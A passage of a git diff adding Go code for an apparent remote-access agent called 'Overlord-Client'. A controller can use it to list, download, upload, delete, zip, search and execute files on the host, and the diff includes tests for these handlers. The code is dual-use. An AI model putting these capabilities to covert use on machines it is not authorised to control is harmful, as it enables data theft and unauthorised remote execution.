"payload": map[string]interface{}{}, + } + + if err := HandleCommand(ctx, env, envelope); err != nil { + t.Fatalf("HandleCommand(desktop) failed: %v", err) + } + + t.Logf("Desktop command sent %d messages", len(writer.msgs)) +} + +func TestHandleCommand_ProcessList(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "process_list", + "id": "cmd-proc-1", + "payload": map[string]interface{}{}, + } + + if err := HandleCommand(ctx, env, envelope); err != nil { + t.Fatalf("HandleCommand(process_list) failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.ProcessListResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if result.Type != "process_list_result" { + t.Errorf("Expected process_list_result") + } +} + +func TestHandleCommand_FileList(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + tmpDir := t.TempDir() + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "file_list", + "id": "cmd-file-1", + "payload": map[string]interface{}{"path": tmpDir}, + } + + if err := HandleCommand(ctx, env, envelope); err != nil { + t.Fatalf("HandleCommand(file_list) failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.FileListResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if result.Type != "file_list_result" { + t.Errorf("Expected file_list_result") + } +} + +func TestHandleCommand_UnknownCommand(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + + envelope := map[string]interface{}{ + "type": "command", + "commandType": "unknown_command_xyz", + "id": "cmd-unknown-1", + "payload": map[string]interface{}{}, + } + + if err := HandleCommand(ctx, env, envelope); err != nil { + t.Logf("Unknown command returned error (expected): %v", err) + } + + t.Logf("Unknown command handling sent %d messages", len(writer.msgs)) +} + +func TestHandleCommand_DisconnectTriggersReconnect(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + envelope := map[string]interface{}{ + "type": "command", + "commandType": "disconnect", + "id": "cmd-disconnect-1", + } + + err := HandleCommand(ctx, env, envelope) + if !errors.Is(err, ErrReconnect) { + t.Fatalf("expected ErrReconnect, got %v", err) + } + if len(writer.msgs) < 1 { + t.Fatal("expected command_result response") + } + + var result wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("failed to unmarshal command_result: %v", err) + } + if !result.OK { + t.Fatalf("expected ok=true, got false") + } +} + +func TestHandleCommand_ReconnectTriggersReconnect(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + envelope := map[string]interface{}{ + "type": "command", + "commandType": "reconnect", + "id": "cmd-reconnect-1", + } + + err := HandleCommand(ctx, env, envelope) + if !errors.Is(err, ErrReconnect) { + t.Fatalf("expected ErrReconnect, got %v", err) + } + if len(writer.msgs) < 1 { + t.Fatal("expected command_result response") + } + + var result wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("failed to unmarshal command_result: %v", err) + } + if !result.OK { + t.Fatalf("expected ok=true, got false") + } +} + +func TestCommandPayloadExtraction(t *testing.T) { + + tests := []struct { + name string + payload interface{} + key string + expected interface{} + }{ + { + name: "StringValue", + payload: map[string]interface{}{"path": "/test/path"}, + key: "path", + expected: "/test/path", + }, + { + name: "IntValue", + payload: map[string]interface{}{"pid": float64(1234)}, + key: "pid", + expected: float64(1234), + }, + { + name: "BoolValue", + payload: map[string]interface{}{"recursive": true}, + key: "recursive", + expected: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + payloadMap, ok := tt.payload.(map[string]interface{}) + if !ok { + t.Fatal("Payload is not a map") + } + + value, exists := payloadMap[tt.key] + if !exists { + t.Errorf("Key %s not found in payload", tt.key) + } + + if value != tt.expected { + t.Errorf("Expected %v, got %v", tt.expected, value) + } + }) + } +} diff --git a/Overlord-Client/cmd/agent/handlers/extract.go b/Overlord-Client/cmd/agent/handlers/extract.go new file mode 100644 index 0000000..b89f4c3 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/extract.go @@ -0,0 +1,38 @@ +package handlers + +import "encoding/json" + +func extractTimestamp(v interface{}) int64 { + switch t := v.(type) { + case uint64: + if t <= uint64(^uint64(0)>>1) { + return int64(t) + } + return 0 + case uint32: + return int64(t) + case uint16: + return int64(t) + case uint8: + return int64(t) + case int64: + return t + case int32: + return int64(t) + case int16: + return int64(t) + case int8: + return int64(t) + case int: + return int64(t) + case float64: + return int64(t) + case float32: + return int64(t) + case json.Number: + if n, err := t.Int64(); err == nil { + return n + } + } + return 0 +} diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go new file mode 100644 index 0000000..b086352 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -0,0 +1,950 @@ +package handlers + +import ( + "archive/zip" + "bufio" + "bytes" + "context" + "fmt" + "io" + "log" + "os" + "path/filepath" + "runtime" + "strings" + "sync" + "time" + "unicode/utf8" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +const maxChunkSize = 1024 * 1024 + +type pendingUpload struct { + file *os.File + tmpPath string + finalPath string + total int64 + receivedBytes int64 + receivedOffsets map[int64]int64 + chunkSize int64 + expectedChunks int + transferID string +} + +var ( + pendingUploadsMu sync.Mutex + pendingUploads = map[string]*pendingUpload{} +) + +func uploadKey(path, transferID string) string { + if transferID != "" { + return transferID + } + return path +} + +func cleanupPendingUpload(key string, pending *pendingUpload) { + pendingUploadsMu.Lock() + delete(pendingUploads, key) + pendingUploadsMu.Unlock() + if pending == nil { + return + } + if pending.file != nil { + _ = pending.file.Close() + } + if pending.tmpPath != "" { + _ = os.Remove(pending.tmpPath) + } +} + +func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { + log.Printf("file_list: %s", path) + + if path == "" { + path = "." + } + + if path == "." && runtime.GOOS == "windows" { + return listWindowsDrives(ctx, env, cmdID) + } + + if path == "." && runtime.GOOS != "windows" { + if homeDir, err := os.UserHomeDir(); err == nil { + path = homeDir + } + } + + absPath, err := filepath.Abs(path) + if err == nil { + path = absPath + } + + entries := []wire.FileEntry{} + var errMsg string + + dirEntries, err := os.ReadDir(path) + if err != nil { + errMsg = err.Error() + log.Printf("file_list error: %v", err) + } else { + for _, entry := range dirEntries { + info, err := entry.Info() + if err != nil { + continue + } + + fullPath := filepath.Join(path, entry.Name()) + fileEntry := wire.FileEntry{ + Name: entry.Name(), + Path: fullPath, + IsDir: entry.IsDir(), + Size: info.Size(), + ModTime: info.ModTime().Unix(), + } + + enrichFileEntry(&fileEntry, info) + + entries = append(entries, fileEntry) + } + } + + result := wire.FileListResult{ + Type: "file_list_result", + CommandID: cmdID, + Path: path, + Entries: entries, + Error: errMsg, + } + + return wire.WriteMsg(ctx, env.Conn, result) +} + +func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error { + entries := []wire.FileEntry{} + + for drive := 'A'; drive <= 'Z'; drive++ { + drivePath := string(drive) + ":\\" + if _, err := os.Stat(drivePath); err == nil { + + entries = append(entries, wire.FileEntry{ + Name: string(drive) + ":", + Path: drivePath, + IsDir: true, + Size: 0, + ModTime: time.Now().Unix(), + }) + } + } + + result := wire.FileListResult{ + Type: "file_list_result", + CommandID: cmdID, + Path: ".", + Entries: entries, + Error: "", + } + + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { + log.Printf("file_download: %s", path) + + file, err := os.Open(path) + if err != nil { + result := wire.FileDownload{ + Type: "file_download", + CommandID: cmdID, + Path: path, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + defer file.Close() + + stat, err := file.Stat() + if err != nil { + result := wire.FileDownload{ + Type: "file_download", + CommandID: cmdID, + Path: path, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + total := stat.Size() + offset := int64(0) + buffer := make([]byte, maxChunkSize) + chunksTotal := 0 + if total > 0 { + chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize)) + } + chunkIndex := 0 + reader := bufio.NewReader(file) + + for { + n, err := io.ReadFull(reader, buffer) + if err == io.EOF { + break + } + if err != nil && err != io.ErrUnexpectedEOF { + result := wire.FileDownload{ + Type: "file_download", + CommandID: cmdID, + Path: path, + Error: err.Error(), + Offset: offset, + Total: total, + ChunkIndex: chunkIndex, + ChunksTotal: chunksTotal, + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + if n > 0 { + chunk := wire.FileDownload{ + Type: "file_download", + CommandID: cmdID, + Path: path, + Data: buffer[:n], + Offset: offset, + Total: total, + ChunkIndex: chunkIndex, + ChunksTotal: chunksTotal, + } + + if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil { + return err + } + offset += int64(n) + chunkIndex++ + } + + if err == io.ErrUnexpectedEOF { + break + } + } + + log.Printf("file_download complete: %s (%d bytes)", path, total) + return nil +} + +func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error { + if total > 0 { + key := uploadKey(path, transferID) + pendingUploadsMu.Lock() + pending := pendingUploads[key] + pendingUploadsMu.Unlock() + + if pending == nil { + log.Printf("file_upload start: %s (total: %d bytes)", path, total) + dir := filepath.Dir(path) + if dir != "." { + if err := os.MkdirAll(dir, 0755); err != nil { + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + } + + tmpPath := path + ".uploading" + if transferID != "" { + tmpPath = path + ".uploading." + transferID + } + file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + pending = &pendingUpload{ + file: file, + tmpPath: tmpPath, + finalPath: path, + total: total, + receivedOffsets: map[int64]int64{}, + transferID: transferID, + } + + pendingUploadsMu.Lock() + pendingUploads[key] = pending + pendingUploadsMu.Unlock() + } + + end := offset + int64(len(data)) + if offset < 0 || end > pending.total { + cleanupPendingUpload(key, pending) + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Offset: offset, + Size: int64(len(data)), + Received: pending.receivedBytes, + Total: pending.total, + Error: "upload chunk exceeds declared total size", + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + if pending.chunkSize == 0 && len(data) > 0 { + pending.chunkSize = int64(len(data)) + pending.expectedChunks = int((pending.total + pending.chunkSize - 1) / pending.chunkSize) + } + + if pending.file != nil { + if _, err := pending.file.WriteAt(data, offset); err != nil { + cleanupPendingUpload(key, pending) + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Offset: offset, + Size: int64(len(data)), + Received: pending.receivedBytes, + Total: pending.total, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + } + + if _, exists := pending.receivedOffsets[offset]; !exists { + pending.receivedOffsets[offset] = int64(len(data)) + pending.receivedBytes += int64(len(data)) + } + + hasAllChunks := pending.expectedChunks > 0 + if hasAllChunks { + hasAllChunks = len(pending.receivedOffsets) >= pending.expectedChunks + } + + if pending.total > 0 && pending.receivedBytes >= pending.total && hasAllChunks { + if pending.file != nil { + _ = pending.file.Sync() + _ = pending.file.Close() + } + _ = os.Remove(pending.finalPath) + if err := os.Rename(pending.tmpPath, pending.finalPath); err != nil { + cleanupPendingUpload(key, pending) + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Offset: offset, + Size: int64(len(data)), + Received: pending.receivedBytes, + Total: pending.total, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + log.Printf("file_upload complete: %s (%d bytes)", path, pending.total) + cleanupPendingUpload(key, pending) + } + + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: true, + Offset: offset, + Size: int64(len(data)), + Received: pending.receivedBytes, + Total: pending.total, + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + dir := filepath.Dir(path) + log.Printf("file_upload start: %s", path) + if dir != "." { + if err := os.MkdirAll(dir, 0755); err != nil { + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + } + + flag := os.O_CREATE | os.O_WRONLY + if offset == 0 { + flag |= os.O_TRUNC + } + + file, err := os.OpenFile(path, flag, 0644) + if err != nil { + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + defer file.Close() + + if offset > 0 { + if _, err = file.Seek(offset, 0); err != nil { + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Offset: offset, + Size: int64(len(data)), + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + } + + if _, err = file.Write(data); err != nil { + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: false, + Offset: offset, + Size: int64(len(data)), + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + log.Printf("file_upload complete: %s (%d bytes)", path, offset+int64(len(data))) + + result := wire.FileUploadResult{ + Type: "file_upload_result", + CommandID: cmdID, + TransferID: transferID, + Path: path, + OK: true, + Offset: offset, + Size: int64(len(data)), + Received: offset + int64(len(data)), + Total: total, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { + log.Printf("file_delete: %s", path) + + err := os.RemoveAll(path) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileMkdir(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { + log.Printf("file_mkdir: %s", path) + + err := os.MkdirAll(path, 0755) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error { + log.Printf("file_zip: %s", sourcePath) + + zipPath := sourcePath + ".zip" + zipFile, err := os.Create(zipPath) + if err != nil { + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + defer zipFile.Close() + + zipWriter := zip.NewWriter(zipFile) + defer zipWriter.Close() + + totalFiles := 0 + filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error { + if err == nil && !info.IsDir() { + totalFiles++ + } + return nil + }) + + progressMsg := wire.CommandResult{ + Type: "command_progress", + CommandID: cmdID, + OK: true, + Message: fmt.Sprintf("Zipping 0/%d files...", totalFiles), + } + wire.WriteMsg(ctx, env.Conn, progressMsg) + + processedFiles := 0 + lastProgressUpdate := time.Now() + + err = filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + + relPath, err := filepath.Rel(sourcePath, path) + if err != nil { + return err + } + header.Name = relPath + + if info.IsDir() { + header.Name += "/" + } else { + header.Method = zip.Deflate + } + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + + if !info.IsDir() { + file, err := os.Open(path) + if err != nil { + return err + } + defer file.Close() + _, err = io.Copy(writer, file) + if err != nil { + return err + } + + processedFiles++ + + now := time.Now() + if now.Sub(lastProgressUpdate) > 500*time.Millisecond || processedFiles%10 == 0 { + progress := wire.CommandResult{ + Type: "command_progress", + CommandID: cmdID, + OK: true, + Message: fmt.Sprintf("Zipping %d/%d files...", processedFiles, totalFiles), + } + wire.WriteMsg(ctx, env.Conn, progress) + lastProgressUpdate = now + } + } + + return nil + }) + + if err != nil { + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + zipWriter.Close() + zipFile.Close() + + finalProgress := wire.CommandResult{ + Type: "command_progress", + CommandID: cmdID, + OK: true, + Message: fmt.Sprintf("Zip complete. %d files compressed.", processedFiles), + } + wire.WriteMsg(ctx, env.Conn, finalProgress) + + time.Sleep(100 * time.Millisecond) + go HandleFileDownload(ctx, env, cmdID, zipPath) + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "Zip created: " + zipPath, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error { + log.Printf("file_read: %s", path) + + if maxSize == 0 { + maxSize = 10 * 1024 * 1024 + } + + info, err := os.Stat(path) + if err != nil { + result := wire.FileReadResult{ + Type: "file_read_result", + CommandID: cmdID, + Path: path, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + if info.Size() > maxSize { + result := wire.FileReadResult{ + Type: "file_read_result", + CommandID: cmdID, + Path: path, + Error: fmt.Sprintf("file too large: %d bytes (max: %d)", info.Size(), maxSize), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + data, err := os.ReadFile(path) + if err != nil { + result := wire.FileReadResult{ + Type: "file_read_result", + CommandID: cmdID, + Path: path, + Error: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + isBinary := !utf8.Valid(data) + + result := wire.FileReadResult{ + Type: "file_read_result", + CommandID: cmdID, + Path: path, + Content: string(data), + IsBinary: isBinary, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error { + log.Printf("file_write: %s", path) + + dir := filepath.Dir(path) + if err := os.MkdirAll(dir, 0755); err != nil { + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + err := os.WriteFile(path, []byte(content), 0644) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileSearch(ctx context.Context, env *agentRuntime.Env, cmdID string, searchID string, basePath string, pattern string, searchContent bool, maxResults int) error { + log.Printf("file_search: path=%s pattern=%s content=%v", basePath, pattern, searchContent) + + if maxResults == 0 { + maxResults = 1000 + } + + results := []wire.FileSearchMatch{} + matchCount := 0 + + err := filepath.Walk(basePath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + + if matchCount >= maxResults { + return filepath.SkipAll + } + + if !searchContent { + if strings.Contains(strings.ToLower(info.Name()), strings.ToLower(pattern)) { + results = append(results, wire.FileSearchMatch{ + Path: path, + }) + matchCount++ + } + return nil + } + + if !info.IsDir() && info.Size() < 10*1024*1024 { + data, err := os.ReadFile(path) + if err != nil || !utf8.Valid(data) { + return nil + } + + scanner := bufio.NewScanner(bytes.NewReader(data)) + lineNum := 1 + for scanner.Scan() { + line := scanner.Text() + if strings.Contains(strings.ToLower(line), strings.ToLower(pattern)) { + results = append(results, wire.FileSearchMatch{ + Path: path, + Line: lineNum, + Match: line, + }) + matchCount++ + if matchCount >= maxResults { + break + } + } + lineNum++ + } + } + + return nil + }) + + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.FileSearchResult{ + Type: "file_search_result", + CommandID: cmdID, + SearchID: searchID, + Results: results, + Complete: true, + Error: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileCopy(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error { + log.Printf("file_copy: %s -> %s", source, dest) + + info, err := os.Stat(source) + if err != nil { + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + if info.IsDir() { + err = copyDir(source, dest) + } else { + err = copyFile(source, dest) + } + + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileMove(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error { + log.Printf("file_move: %s -> %s", source, dest) + + destDir := filepath.Dir(dest) + if err := os.MkdirAll(destDir, 0755); err != nil { + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + } + return wire.WriteMsg(ctx, env.Conn, result) + } + + err := os.Rename(source, dest) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func copyFile(src, dst string) error { + sourceFile, err := os.Open(src) + if err != nil { + return err + } + defer sourceFile.Close() + + destFile, err := os.Create(dst) + if err != nil { + return err + } + defer destFile.Close() + + _, err = io.Copy(destFile, sourceFile) + if err != nil { + return err + } + + sourceInfo, err := os.Stat(src) + if err != nil { + return err + } + return os.Chmod(dst, sourceInfo.Mode()) +} + +func copyDir(src, dst string) error { + sourceInfo, err := os.Stat(src) + if err != nil { + return err + } + + if err := os.MkdirAll(dst, sourceInfo.Mode()); err != nil { + return err + } + + entries, err := os.ReadDir(src) + if err != nil { + return err + } + + for _, entry := range entries { + srcPath := filepath.Join(src, entry.Name()) + dstPath := filepath.Join(dst, entry.Name()) + + if entry.IsDir() { + if err := copyDir(srcPath, dstPath); err != nil { + return err + } + } else { + if err := copyFile(srcPath, dstPath); err != nil { + return err + } + } + } + + return nil +} + +func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, mode string) error { + log.Printf("file_chmod: %s mode=%s", path, mode) + + err := ChangeFilePermissions(path, mode) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { + log.Printf("file_execute: %s", path) + + err := ExecuteFile(path) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + log.Printf("file_execute error: %v", err) + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} diff --git a/Overlord-Client/cmd/agent/handlers/files_test.go b/Overlord-Client/cmd/agent/handlers/files_test.go new file mode 100644 index 0000000..e66fe2c --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_test.go @@ -0,0 +1,469 @@ +package handlers + +import ( + "bytes" + "context" + "os" + "path/filepath" + "testing" + + "overlord-client/cmd/agent/config" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" + "nhooyr.io/websocket" +) + +type testWriter struct { + msgs [][]byte +} + +func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error { + w.msgs = append(w.msgs, append([]byte(nil), p...)) + return nil +} + +func TestHandleFileList(t *testing.T) { + + tmpDir := t.TempDir() + + testFile1 := filepath.Join(tmpDir, "test1.txt") + testFile2 := filepath.Join(tmpDir, "test2.txt") + testDir := filepath.Join(tmpDir, "testdir") + + if err := os.WriteFile(testFile1, []byte("content1"), 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + if err := os.WriteFile(testFile2, []byte("content2"), 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + if err := os.Mkdir(testDir, 0755); err != nil { + t.Fatalf("Failed to create test directory: %v", err) + } + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-1" + + if err := HandleFileList(ctx, env, cmdID, tmpDir); err != nil { + t.Fatalf("HandleFileList failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.FileListResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if result.Type != "file_list_result" { + t.Errorf("Expected type 'file_list_result', got '%s'", result.Type) + } + if result.CommandID != cmdID { + t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID) + } + if len(result.Entries) != 3 { + t.Errorf("Expected 3 entries, got %d", len(result.Entries)) + } + + names := make(map[string]bool) + for _, entry := range result.Entries { + names[entry.Name] = entry.IsDir + } + + if len(names) != 3 { + t.Logf("Found entries: %v", names) + } + + hasTest1 := false + hasTest2 := false + hasTestDir := false + for name, isDir := range names { + if name == "test1.txt" { + hasTest1 = true + } + if name == "test2.txt" { + hasTest2 = true + } + if isDir { + hasTestDir = true + } + } + + if !hasTest1 || !hasTest2 || !hasTestDir { + t.Errorf("Missing expected entries - test1:%v test2:%v testdir:%v", hasTest1, hasTest2, hasTestDir) + } +} + +func TestHandleFileList_InvalidPath(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-2" + + invalidPath := filepath.Join(t.TempDir(), "nonexistent") + if err := HandleFileList(ctx, env, cmdID, invalidPath); err != nil { + t.Fatalf("HandleFileList should not return error: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.FileListResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if result.Error == "" { + t.Error("Expected error message for invalid path") + } +} + +func TestHandleFileDownload(t *testing.T) { + + tmpDir := t.TempDir() + testFile := filepath.Join(tmpDir, "download_test.txt") + testContent := []byte("This is test content for download") + + if err := os.WriteFile(testFile, testContent, 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-3" + + if err := HandleFileDownload(ctx, env, cmdID, testFile); err != nil { + t.Fatalf("HandleFileDownload failed: %v", err) + } + + if len(writer.msgs) == 0 { + t.Fatal("Expected at least 1 message") + } + + var download wire.FileDownload + if err := msgpack.Unmarshal(writer.msgs[0], &download); err != nil { + t.Fatalf("Failed to unmarshal download message: %v", err) + } + + if download.Type != "file_download" { + t.Errorf("Expected type 'file_download', got '%s'", download.Type) + } + if download.CommandID != cmdID { + t.Errorf("Expected CommandID '%s', got '%s'", cmdID, download.CommandID) + } + if download.Total != int64(len(testContent)) { + t.Errorf("Expected total size %d, got %d", len(testContent), download.Total) + } + + var assembled []byte + for _, msg := range writer.msgs { + var chunk wire.FileDownload + if err := msgpack.Unmarshal(msg, &chunk); err != nil { + t.Fatalf("Failed to unmarshal chunk: %v", err) + } + assembled = append(assembled, chunk.Data...) + } + + if string(assembled) != string(testContent) { + t.Errorf("Downloaded content mismatch:\ngot: %s\nwant: %s", string(assembled), string(testContent)) + } +} + +func TestHandleFileDelete(t *testing.T) { + + tmpDir := t.TempDir() + testFile := filepath.Join(tmpDir, "delete_test.txt") + + if err := os.WriteFile(testFile, []byte("delete me"), 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-4" + + if err := HandleFileDelete(ctx, env, cmdID, testFile); err != nil { + t.Fatalf("HandleFileDelete failed: %v", err) + } + + if _, err := os.Stat(testFile); !os.IsNotExist(err) { + t.Error("File should have been deleted") + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if !result.OK { + t.Errorf("Expected OK=true, got false with message: %s", result.Message) + } +} + +func TestHandleFileMkdir(t *testing.T) { + tmpDir := t.TempDir() + newDir := filepath.Join(tmpDir, "newdir") + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-5" + + if err := 